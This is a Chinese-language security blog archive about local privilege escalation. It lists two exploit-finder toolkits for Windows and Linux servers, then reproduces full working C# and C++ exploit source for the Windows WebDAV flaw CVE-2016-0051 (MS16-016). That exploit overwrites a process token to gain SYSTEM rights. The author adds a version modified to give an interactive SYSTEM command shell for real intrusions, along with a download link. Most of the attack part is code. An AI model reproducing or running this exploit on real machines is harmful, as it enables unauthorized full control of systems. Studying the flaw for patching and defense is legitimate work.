标签归档:本地提权

本地提权工具箱

0x01 背景

在我们平时渗透的过程中经常会遇到需要提权的情况,本文将介绍一些方便大家在Windows和Linux进行提权的工具。

0x02 本地提权之Windows

本工具适合在任何Windows服务器上进行已知提权漏洞的检测以及相应的提权EXP下载。

工具地址:https://github.com/brianwrf/WinSystemHelper

使用方法:

1. 拷贝WinSysHelper.bat, explt2003.txt和expgt2003.txt文件至目标Windows服务器上

2. 命令行下运行WinSysHelper.bat执行检测

3. 按照提示下载EXP进行提权

0x03 本地提权之Linux

本工具适合在任何Linux服务器上进行已知提权漏洞的检测以及相应的提权EXP下载。

工具地址: https://github.com/brianwrf/RootHelper

使用方法:

1. 拷贝脚本roothelper.sh至目标Linux服务器上

2. 添加执行权限并执行./roothelper.sh

3. 按照提示命令,下载提权EXP进行本地提权

声明:本工具具有一定的攻击性,仅供学习,请确保在已授权的服务器上进行操作,否则一切后果自负。

WebDAV本地提权漏洞(CVE-2016-0051/MS16-016)之交互式提权EXP

0x00 背景

WebDAV本地提权漏洞存在于Microsoft Web 分布式创作和版本管理 (WebDAV)中,如果 Microsoft Web 分布式创作和版本管理 (WebDAV) 客户端验证输入不当,那么其中就会存在特权提升漏洞。成功利用此漏洞的攻击者可以使用提升的特权执行任意代码。

0x01 利用

2016年2月10日,有人在exploit-db上公开了一个提权的EXP,该EXP是由C#编写的,源代码如下:

EOP.exe:

/*
 
Source: https://github.com/koczkatamas/CVE-2016-0051
 
Proof-of-concept BSoD (Blue Screen of Death) code for CVE-2016-0051 (MS-016).
 
Full Proof of Concept:
https://github.com/koczkatamas/CVE-2016-0051/archive/master.zip
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39432-1.zip
 
 
Elevation of Privilege (SYSTEM) exploit for CVE-2016-0051 (MS16-016) for Windows 7 SP1 x86 (build 7601)
Creator: Tamás Koczka (@koczkatamas - https://twitter.com/koczkatamas)
Original source: https://github.com/koczkatamas/CVE-2016-0051
 
*/
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using System.Threading;
 
namespace EoP
{
    class Program
    {
        #region Fake WebDAV server
 
        static void StartFakeWebDavServer(int port)
        {
            new Thread(() =>
            {
                var server = new TcpListener(IPAddress.Loopback, port);
                server.Start();
                while (true)
                {
                    using (var client = server.AcceptTcpClient())
                    using (var stream = client.GetStream())
                    using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1")))
                    using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true })
                    {
                        Func<string> rl = () =>
                        {
                            var line = reader.ReadLine();
                            //Console.WriteLine("< " + line);
                            return line;
                        };
 
                        Action<string> wl = outData =>
                        {
                            //Console.WriteLine(String.Join("\n", outData.Split('\n').Select(x => "> " + x)));
                            writer.Write(outData);
                        };
 
                        var hdrLine = rl();
                        Console.WriteLine("[*] Request: " + hdrLine);
 
                        var header = hdrLine.Split(' ');
                        while (!string.IsNullOrEmpty(rl())) { }
 
                        if (header[0] == "OPTIONS")
                            wl("HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");
                        else if (header[0] == "PROPFIND")
                        {
                            var body = String.Format(@"
<?xml version=""1.0"" encoding=""UTF-8""?>
<D:multistatus xmlns:D=""DAV:"">
<D:response>
    <D:href>{0}</D:href>
    <D:propstat>
        <D:prop>
            <D:creationdate>{1:s}Z</D:creationdate>
            <D:getcontentlength>{3}</D:getcontentlength>
            <D:getcontenttype>{4}</D:getcontenttype>
            <D:getetag>{5}</D:getetag>
            <D:getlastmodified>{6:R}</D:getlastmodified>
            <D:resourcetype>{8}</D:resourcetype>
            <D:supportedlock></D:supportedlock>
            <D:ishidden>{7}</D:ishidden>
        </D:prop>
        <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
</D:response>
</D:multistatus>", header[1], DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header[1].Contains("file") ? "" : "<D:collection></D:collection>").Trim();
 
                            wl("HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: " + body.Length + "\r\nContent-Type: text/xml\r\n\r\n" + body);
                        }
                        else
                            wl("HTTP/1.1 500 Internal Server Error\r\n\r\n");
 
                        //Console.WriteLine(" =============== END REQUEST =============== ");
                    }
                }
            }) { IsBackground = true, Name = "WebDAV server thread" }.Start();
        }
 
        #endregion
 
        #region WinAPI
 
        [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
        public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr securityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
 
        [StructLayout(LayoutKind.Sequential)]
        private class NETRESOURCE
        {
            public uint dwScope = 0;
            public uint dwType = 0;
            public uint dwDisplayType = 0;
            public uint dwUsage = 0;
            public string lpLocalName = null;
            public string lpRemoteName = null;
            public string lpComment = null;
            public string lpProvider = null;
        }
 
        [DllImport("mpr.dll")]
        private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags);
 
        // based on http://www.codeproject.com/Articles/21974/Windows-NT-Native-API-Wrapper-Library
 
        public enum PageProtection : uint
        {
            NOACCESS = 0x01,
            READONLY = 0x02,
            READWRITE = 0x04,
            WRITECOPY = 0x08,
            EXECUTE = 0x10,
            EXECUTE_READ = 0x20,
            EXECUTE_READWRITE = 0x40,
            EXECUTE_WRITECOPY = 0x80,
            GUARD = 0x100,
            NOCACHE = 0x200,
            WRITECOMBINE = 0x400
        }
 
        [Flags]
        public enum MemoryAllocationType : uint
        {
            COMMIT = 0x1000,
            RESERVE = 0x2000,
            FREE = 0x10000,
            PRIVATE = 0x20000,
            MAPPED = 0x40000,
            RESET = 0x80000,
            TOP_DOWN = 0x100000,
            WRITE_WATCH = 0x200000,
            ROTATE = 0x800000,
            LARGE_PAGES = 0x20000000,
            PHYSICAL = 0x400000,
            FOUR_MB_PAGES = 0x80000000
        }
 
        [DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false)]
        public static extern NtStatus NtAllocateVirtualMemory([In] IntPtr processHandle, [In, Out] ref IntPtr baseAddress, [In] uint zeroBits, [In, Out] ref UIntPtr regionSize, [In] MemoryAllocationType allocationType, [In] PageProtection protect);
 
        public enum FileOpenInformation
        {
            Superceded = 0x00000000,
            Opened = 0x00000001,
            Created = 0x00000002,
            Overwritten = 0x00000003,
            Exists = 0x00000004,
            DoesNotExist = 0x00000005
        }
 
        internal enum NtStatus : uint
        {
            SUCCESS = 0x00000000,
            INVALID_PARAMETER_1 = 0xC00000EF,
            INVALID_PARAMETER_2 = 0xC00000F0,
            INVALID_PARAMETER_3 = 0xC00000F1,
            INVALID_PARAMETER_4 = 0xC00000F2,
            // don't care
        }
 
        internal struct IoStatusBlock
        {
            public NtStatus status;
            public InformationUnion Information;
 
            [StructLayout(LayoutKind.Explicit)]
            public struct InformationUnion
            {
                [FieldOffset(0)]
                public FileOpenInformation FileOpenInformation;
                [FieldOffset(0)]
                public uint BytesWritten;
                [FieldOffset(0)]
                public uint BytesRead;
            }
        }
 
        [DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false, ExactSpelling = true, PreserveSig = true)]
        public static extern NtStatus NtFsControlFile([In] IntPtr fileHandle, [In, Optional] IntPtr Event, [In, Optional] IntPtr apcRoutine, [In, Optional] IntPtr apcContext, [Out] out IoStatusBlock ioStatusBlock, [In] uint fsControlCode, [In, Optional] IntPtr inputBuffer, [In] uint inputBufferLength, [Out, Optional] IntPtr outputBuffer, [In] uint outputBufferLength);
 
        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        delegate int LoadAndGetKernelBasePtr();
 
        [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
        static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
 
        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
 
        #endregion
 
        private static byte[] il(params uint[] inp) { return inp.SelectMany(BitConverter.GetBytes).ToArray(); }
        private static byte[] z(int c) { return rep(0, c); }
        private static byte[] rep(byte b, int c) { return Enumerable.Repeat(b, c).ToArray(); }
        private static byte[] fl(byte[][] inp) { return inp.SelectMany(x => x).ToArray(); }
 
        public static void Main(string[] args)
        {
            var shellcodeDll = LoadLibrary("shellcode.dll");
            var shellcodeFunc = GetProcAddress(shellcodeDll, "_shellcode@8");
 
            var loadAndGetKernelBaseFunc = GetProcAddress(shellcodeDll, "_LoadAndGetKernelBase@0");
            var loadAndGetKernelBase = (LoadAndGetKernelBasePtr)Marshal.GetDelegateForFunctionPointer(loadAndGetKernelBaseFunc, typeof(LoadAndGetKernelBasePtr));
 
            var loadResult = loadAndGetKernelBase();
            Console.WriteLine($"[*] LoadAndGetKernelBase result = {loadResult}");
 
            var addr = new IntPtr(0x1000);
            var size = new UIntPtr(0x4000);
            var result = NtAllocateVirtualMemory(new IntPtr(-1), ref addr, 0, ref size, MemoryAllocationType.RESERVE | MemoryAllocationType.COMMIT, PageProtection.READWRITE);
            Console.WriteLine($"[*] NtAllocateVirtualMemory result = {result}, addr = {addr}, size = {size}");
 
            if (result != NtStatus.SUCCESS || loadResult != 0)
                Console.WriteLine("[-] Fail... so sad :(");
            else
            {
                Console.WriteLine("[*] Creating fake DeviceObject, DriverObject, etc structures...");
                var payload = fl(new[] { z(8), /* [0x8]DriverObject=0 */ il(0), z(0x30 - 8 - 4), /* [0x30]StackSize=256 */ il(0x10, 0), z(13 * 4), il((uint)shellcodeFunc.ToInt32()) });
                Marshal.Copy(payload, 1, new IntPtr(1), payload.Length - 1);
 
                var p = new Random().Next(1024, 65535);
                Console.WriteLine("[*] Starting fake webdav server...");
                StartFakeWebDavServer(p);
 
                Console.WriteLine("[*] Calling WNetAddConnection2...");
                var addConnectionResult = WNetAddConnection2(new NETRESOURCE { lpRemoteName = $@"\\127.0.0.1@{p}\folder\" }, null, null, 0);
                Console.WriteLine("[*] WNetAddConnection2 = " + addConnectionResult);
 
                var fileHandle = CreateFile($@"\\127.0.0.1@{p}\folder\file", 0x80, 7, IntPtr.Zero, 3, 0, IntPtr.Zero);
                Console.WriteLine($"[*] CreateFile result = {fileHandle}");
                 
                IoStatusBlock ioStatusBlock;
                var inputLen = 24;
                var inputPtr = Marshal.AllocHGlobal(inputLen);
                var outputLen = 4;
                var outputPtr = Marshal.AllocHGlobal(outputLen);
                var controlResult = NtFsControlFile(fileHandle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out ioStatusBlock, 0x900DBu, inputPtr, (uint)inputLen, outputPtr, (uint)outputLen);
                Console.WriteLine($"[*] NtFsControlFile result = {controlResult}");
 
                var identity = WindowsIdentity.GetCurrent();
                if (identity?.IsSystem == true)
                {
                    Console.WriteLine("[+] Got SYSTEM! Spawning a shell...");
                    Process.Start("cmd");
                }
                else
                    Console.WriteLine($"[-] Something went wrong, looks like we are not SYSTEM :(, only {identity?.Name}...");
            }
 
            Console.WriteLine("");
            Console.WriteLine("Press ENTER to exit.");
            Console.ReadLine();
        }
    }
}

shellcode.cpp:

/*

Elevation of Privilege (SYSTEM) exploit for CVE-2016-0051 (MS16-016), works on Windows 7 SP1 x86 (build 7601)
Creator: Tam醩 Koczka (@koczkatamas - https://twitter.com/koczkatamas)
Original source: https://github.com/koczkatamas/CVE-2016-0051

*/
#include <windows.h>

typedef enum _SYSTEM_INFORMATION_CLASS
{
	SystemModuleInformation = 11,
	SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, 
	PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);

typedef struct {
	PVOID   Unknown1;
	PVOID   Unknown2;
	PVOID   Base;
	ULONG   Size;
	ULONG   Flags;
	USHORT  Index;
	USHORT  NameLength;
	USHORT  LoadCount;
	USHORT  PathLength;
	CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct {
	ULONG   Count;
	SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)

// based on http://www.attackingthecore.com/codex.php?chp=chapter6

FARPROC GetKernAddress(HMODULE UserKernBase, PVOID RealKernelBase, LPCSTR SymName)
{
	auto addr = GetProcAddress(UserKernBase, SymName);
	return addr == NULL ? NULL : (FARPROC)((PUCHAR)addr - (PUCHAR)UserKernBase + (PUCHAR)RealKernelBase);
}

int GetKernelBaseInfo(PVOID* kernelBase, char** kernelImage)
{
	auto ntdllHandle = GetModuleHandle("ntdll");
	if (!ntdllHandle) return 1;

	auto NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(ntdllHandle, "NtQuerySystemInformation");
	if (!NtQuerySystemInformation) return 2;

	ULONG len;
	auto ret = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
	//if (!NT_SUCCESS(ret)) return 3;

	auto pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len);
	ret = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len);
	if (!NT_SUCCESS(ret)) return 4;

	*kernelImage = pModuleInfo->Module[0].ImageName;
	*kernelBase = pModuleInfo->Module[0].Base;

	return 0;
}

typedef          VOID *PEPROCESS;
typedef         ULONG(__cdecl   *_DbgPrintEx)(_In_ ULONG ComponentId, _In_ ULONG Level, PCHAR  Format, ...);
typedef      NTSTATUS(__stdcall *_PsLookupProcessByProcessId)(HANDLE ProcessId, PEPROCESS *Process);

_DbgPrintEx                 DbgPrintEx;
_PsLookupProcessByProcessId PsLookupProcessByProcessId;

extern "C" __declspec(dllexport) int __stdcall LoadAndGetKernelBase()
{
	char* NTosFn = 0;
	PVOID kBase = NULL;
	auto ret = GetKernelBaseInfo(&kBase, &NTosFn);
	if (ret) return ret;

	for (char* tmp = NTosFn; *tmp != 0; tmp++)
		if (*tmp == '\\')
			NTosFn = tmp + 1;

	auto NTosHandle = LoadLibraryA(NTosFn);
	if (NTosHandle == NULL) return 10;

	DbgPrintEx = (_DbgPrintEx)GetKernAddress(NTosHandle, kBase, "DbgPrintEx");
	PsLookupProcessByProcessId = (_PsLookupProcessByProcessId)GetKernAddress(NTosHandle, kBase, "PsLookupProcessByProcessId");

	if (!DbgPrintEx || !PsLookupProcessByProcessId) return 11;

	return 0;
}

int tokenOffset = 0xf8; // change me if OS is not Windows 7 SP1 x86 (7601)

extern "C" __declspec(dllexport) int __stdcall shellcode(int a, int b)
{
	DbgPrintEx(79, 0, "[-] Greetings from the kernel land\r\n");

	DWORD pidOur = GetCurrentProcessId(), pidSystem = 4;

	PEPROCESS pOur = NULL, pSystem = NULL;
	NTSTATUS resOur = PsLookupProcessByProcessId((HANDLE)pidOur, &pOur);
	NTSTATUS resSystem = PsLookupProcessByProcessId((HANDLE)4, &pSystem);

	DbgPrintEx(79, 0, "[-] Our EPROCESS at: %p (res = %d), System EPROCESS At: %p (res = %d)\r\n", pOur, resOur, pSystem, resSystem);
	if (NT_SUCCESS(resOur) && NT_SUCCESS(resSystem))
		*(PVOID *)((PBYTE)pOur + tokenOffset) = *(PVOID *)((PBYTE)pSystem + tokenOffset);

    return 1337;
}

简单测试了这个EXP,发现其在运行完之后会弹出一个提权后的cmd窗口。而在实战中,通常我们的提权exp是在命令行下运行的,因而我们需要得到一个交互式的提权shell,而该exp似乎并不满足我们的实战需求。

仔细分析了上面的exp源码发现,原作者在执行了shellcode特权提升之后通过Process.Start(“cmd”)获得了shell,这实际上是另起了一个cmd.exe进程,也就产生了一个新的cmd窗口。

                var identity = WindowsIdentity.GetCurrent();
                if (identity?.IsSystem == true)
                {
                    Console.WriteLine("[+] Got SYSTEM! Spawning a shell...");
                    Process.Start("cmd");
                }

为了获得一个交互式的提权shell,我对源代码进行了如下更改:

EOP.exe:

/*

Elevation of Privilege (SYSTEM) exploit for CVE-2016-0051 (MS16-016) for Windows 7 SP1 x86 (build 7601)
Creator: Tamás Koczka (@koczkatamas - https://twitter.com/koczkatamas)
Original source: https://github.com/koczkatamas/CVE-2016-0051

*/
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using System.Threading;

namespace EoP
{
    class Program
    {
        #region Fake WebDAV server

        static void StartFakeWebDavServer(int port)
        {
            new Thread(() =>
            {
                var server = new TcpListener(IPAddress.Loopback, port);
                server.Start();
                while (true)
                {
                    using (var client = server.AcceptTcpClient())
                    using (var stream = client.GetStream())
                    using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1")))
                    using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true })
                    {
                        Func<string> rl = () =>
                        {
                            var line = reader.ReadLine();
                            //Console.WriteLine("< " + line);
                            return line;
                        };

                        Action<string> wl = outData =>
                        {
                            //Console.WriteLine(String.Join("\n", outData.Split('\n').Select(x => "> " + x)));
                            writer.Write(outData);
                        };

                        var hdrLine = rl();
                        Console.WriteLine("[*] Request: " + hdrLine);

                        var header = hdrLine.Split(' ');
                        while (!string.IsNullOrEmpty(rl())) { }

                        if (header[0] == "OPTIONS")
                            wl("HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");
                        else if (header[0] == "PROPFIND")
                        {
                            var body = String.Format(@"
<?xml version=""1.0"" encoding=""UTF-8""?>
<D:multistatus xmlns:D=""DAV:"">
<D:response>
    <D:href>{0}</D:href>
    <D:propstat>
        <D:prop>
            <D:creationdate>{1:s}Z</D:creationdate>
            <D:getcontentlength>{3}</D:getcontentlength>
            <D:getcontenttype>{4}</D:getcontenttype>
            <D:getetag>{5}</D:getetag>
            <D:getlastmodified>{6:R}</D:getlastmodified>
            <D:resourcetype>{8}</D:resourcetype>
            <D:supportedlock></D:supportedlock>
            <D:ishidden>{7}</D:ishidden>
        </D:prop>
        <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
</D:response>
</D:multistatus>", header[1], DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header[1].Contains("file") ? "" : "<D:collection></D:collection>").Trim();

                            wl("HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: " + body.Length + "\r\nContent-Type: text/xml\r\n\r\n" + body);
                        }
                        else
                            wl("HTTP/1.1 500 Internal Server Error\r\n\r\n");

                        //Console.WriteLine(" =============== END REQUEST =============== ");
                    }
                }
            }) { IsBackground = true, Name = "WebDAV server thread" }.Start();
        }

        #endregion

        #region WinAPI

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
        public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr securityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);

        [StructLayout(LayoutKind.Sequential)]
        private class NETRESOURCE
        {
            public uint dwScope = 0;
            public uint dwType = 0;
            public uint dwDisplayType = 0;
            public uint dwUsage = 0;
            public string lpLocalName = null;
            public string lpRemoteName = null;
            public string lpComment = null;
            public string lpProvider = null;
        }

        [DllImport("mpr.dll")]
        private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags);

        // based on http://www.codeproject.com/Articles/21974/Windows-NT-Native-API-Wrapper-Library

        public enum PageProtection : uint
        {
            NOACCESS = 0x01,
            READONLY = 0x02,
            READWRITE = 0x04,
            WRITECOPY = 0x08,
            EXECUTE = 0x10,
            EXECUTE_READ = 0x20,
            EXECUTE_READWRITE = 0x40,
            EXECUTE_WRITECOPY = 0x80,
            GUARD = 0x100,
            NOCACHE = 0x200,
            WRITECOMBINE = 0x400
        }

        [Flags]
        public enum MemoryAllocationType : uint
        {
            COMMIT = 0x1000,
            RESERVE = 0x2000,
            FREE = 0x10000,
            PRIVATE = 0x20000,
            MAPPED = 0x40000,
            RESET = 0x80000,
            TOP_DOWN = 0x100000,
            WRITE_WATCH = 0x200000,
            ROTATE = 0x800000,
            LARGE_PAGES = 0x20000000,
            PHYSICAL = 0x400000,
            FOUR_MB_PAGES = 0x80000000
        }

        [DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false)]
        public static extern NtStatus NtAllocateVirtualMemory([In] IntPtr processHandle, [In, Out] ref IntPtr baseAddress, [In] uint zeroBits, [In, Out] ref UIntPtr regionSize, [In] MemoryAllocationType allocationType, [In] PageProtection protect);

        public enum FileOpenInformation
        {
            Superceded = 0x00000000,
            Opened = 0x00000001,
            Created = 0x00000002,
            Overwritten = 0x00000003,
            Exists = 0x00000004,
            DoesNotExist = 0x00000005
        }

        internal enum NtStatus : uint
        {
            SUCCESS = 0x00000000,
            INVALID_PARAMETER_1 = 0xC00000EF,
            INVALID_PARAMETER_2 = 0xC00000F0,
            INVALID_PARAMETER_3 = 0xC00000F1,
            INVALID_PARAMETER_4 = 0xC00000F2,
            // don't care
        }

        internal struct IoStatusBlock
        {
            public NtStatus status;
            public InformationUnion Information;

            [StructLayout(LayoutKind.Explicit)]
            public struct InformationUnion
            {
                [FieldOffset(0)]
                public FileOpenInformation FileOpenInformation;
                [FieldOffset(0)]
                public uint BytesWritten;
                [FieldOffset(0)]
                public uint BytesRead;
            }
        }

        [DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false, ExactSpelling = true, PreserveSig = true)]
        public static extern NtStatus NtFsControlFile([In] IntPtr fileHandle, [In, Optional] IntPtr Event, [In, Optional] IntPtr apcRoutine, [In, Optional] IntPtr apcContext, [Out] out IoStatusBlock ioStatusBlock, [In] uint fsControlCode, [In, Optional] IntPtr inputBuffer, [In] uint inputBufferLength, [Out, Optional] IntPtr outputBuffer, [In] uint outputBufferLength);

        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        delegate int LoadAndGetKernelBasePtr();

        [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
        static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        #endregion

        private static byte[] il(params uint[] inp) { return inp.SelectMany(BitConverter.GetBytes).ToArray(); }
        private static byte[] z(int c) { return rep(0, c); }
        private static byte[] rep(byte b, int c) { return Enumerable.Repeat(b, c).ToArray(); }
        private static byte[] fl(byte[][] inp) { return inp.SelectMany(x => x).ToArray(); }

        private static string RunCMD(string cmdstr, System.Diagnostics.Process pp)
        {
            string str = cmdstr;

            //System.Diagnostics.Process pp = new System.Diagnostics.Process();
            pp.StartInfo.FileName = "cmd.exe";
            pp.StartInfo.UseShellExecute = false;    //是否使用操作系统shell启动
            pp.StartInfo.RedirectStandardInput = true;//接受来自调用程序的输入信息
            pp.StartInfo.RedirectStandardOutput = true;//由调用程序获取输出信息
            pp.StartInfo.RedirectStandardError = true;//重定向标准错误输出
            pp.StartInfo.CreateNoWindow = true;//不显示程序窗口
            pp.Start();//启动程序

            //向cmd窗口发送输入信息
            pp.StandardInput.WriteLine(str + "&exit");
            pp.StandardInput.AutoFlush = true;
            //向标准输入写入要执行的命令。这里使用&是批处理命令的符号,表示前面一个命令不管是否执行成功都执行后面(exit)命令,如果不执行exit命令,后面调用ReadToEnd()方法会假死
            //同类的符号还有&&和||前者表示必须前一个命令执行成功才会执行后面的命令,后者表示必须前一个命令执行失败才会执行后面的命令

            //获取cmd窗口的输出信息
            string output = pp.StandardOutput.ReadToEnd();
            return output;
        }

        public static void Main(string[] args)
        {
            var shellcodeDll = LoadLibrary("shellcode.dll");
            var shellcodeFunc = GetProcAddress(shellcodeDll, "_shellcode@8");

            var loadAndGetKernelBaseFunc = GetProcAddress(shellcodeDll, "_LoadAndGetKernelBase@0");
            var loadAndGetKernelBase = (LoadAndGetKernelBasePtr)Marshal.GetDelegateForFunctionPointer(loadAndGetKernelBaseFunc, typeof(LoadAndGetKernelBasePtr));

            var loadResult = loadAndGetKernelBase();
            Console.WriteLine($"[*] LoadAndGetKernelBase result = {loadResult}");

            var addr = new IntPtr(0x1000);
            var size = new UIntPtr(0x4000);
            var result = NtAllocateVirtualMemory(new IntPtr(-1), ref addr, 0, ref size, MemoryAllocationType.RESERVE | MemoryAllocationType.COMMIT, PageProtection.READWRITE);
            Console.WriteLine($"[*] NtAllocateVirtualMemory result = {result}, addr = {addr}, size = {size}");

            if (result != NtStatus.SUCCESS || loadResult != 0)
                Console.WriteLine("[-] Fail... so sad :(");
            else
            {
                Console.WriteLine("[*] Creating fake DeviceObject, DriverObject, etc structures...");
                var payload = fl(new[] { z(8), /* [0x8]DriverObject=0 */ il(0), z(0x30 - 8 - 4), /* [0x30]StackSize=256 */ il(0x10, 0), z(13 * 4), il((uint)shellcodeFunc.ToInt32()) });
                Marshal.Copy(payload, 1, new IntPtr(1), payload.Length - 1);

                var p = new Random().Next(1024, 65535);
                Console.WriteLine("[*] Starting fake webdav server...");
                StartFakeWebDavServer(p);

                Console.WriteLine("[*] Calling WNetAddConnection2...");
                var addConnectionResult = WNetAddConnection2(new NETRESOURCE { lpRemoteName = $@"\\127.0.0.1@{p}\folder\" }, null, null, 0);
                Console.WriteLine("[*] WNetAddConnection2 = " + addConnectionResult);

                var fileHandle = CreateFile($@"\\127.0.0.1@{p}\folder\file", 0x80, 7, IntPtr.Zero, 3, 0, IntPtr.Zero);
                Console.WriteLine($"[*] CreateFile result = {fileHandle}");
                
                IoStatusBlock ioStatusBlock;
                var inputLen = 24;
                var inputPtr = Marshal.AllocHGlobal(inputLen);
                var outputLen = 4;
                var outputPtr = Marshal.AllocHGlobal(outputLen);
                var controlResult = NtFsControlFile(fileHandle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out ioStatusBlock, 0x900DBu, inputPtr, (uint)inputLen, outputPtr, (uint)outputLen);
                Console.WriteLine($"[*] NtFsControlFile result = {controlResult}");

                var identity = WindowsIdentity.GetCurrent();
                if (identity?.IsSystem == true)
                {
                    Console.WriteLine("[+] Got SYSTEM! Spawning a shell...");
                    Console.WriteLine("");

                    System.Diagnostics.Process pp = new System.Diagnostics.Process();
                    Console.WriteLine(RunCMD("whoami", pp));
                    Console.WriteLine("******************** EOP for MS16-016 [avfisher] ********************");
                    Console.WriteLine("Please run your command (e.g. dir, ipconfig, exit, etc.): ");
                    string str = Console.ReadLine();
                    while (str.ToUpper()!="EXIT")
                    {
                        Console.WriteLine(RunCMD(str, pp));
                        Console.WriteLine("******************** EOP for MS16-016 [avfisher] ********************");
                        Console.WriteLine("Please run your command (e.g. dir, ipconfig, exit, etc.): ");
                        str = Console.ReadLine();
                    }
                    pp.WaitForExit();//等待程序执行完退出进程
                    pp.Close();
                }
                else
                    Console.WriteLine($"[-] Something went wrong, looks like we are not SYSTEM :(, only {identity?.Name}...");
            }

            Console.WriteLine("");
            Console.WriteLine("Press ENTER to exit.");
            Console.ReadLine();
        }
    }
}

编译之后,一个交互式的提权EXP便产生了,执行效果如下:

MS16-016交互式提权shell下载地址: https://github.com/brianwrf/CVE-2016-0051/blob/master/EoP_avfisher.zip

声明: 本文所涉及工具仅作学习交流,请勿用于非法目的,否则后果自负!


相关链接:

https://github.com/koczkatamas/CVE-2016-0051/

https://www.exploit-db.com/exploits/39432/

http://www.secpulse.com/archives/42404.html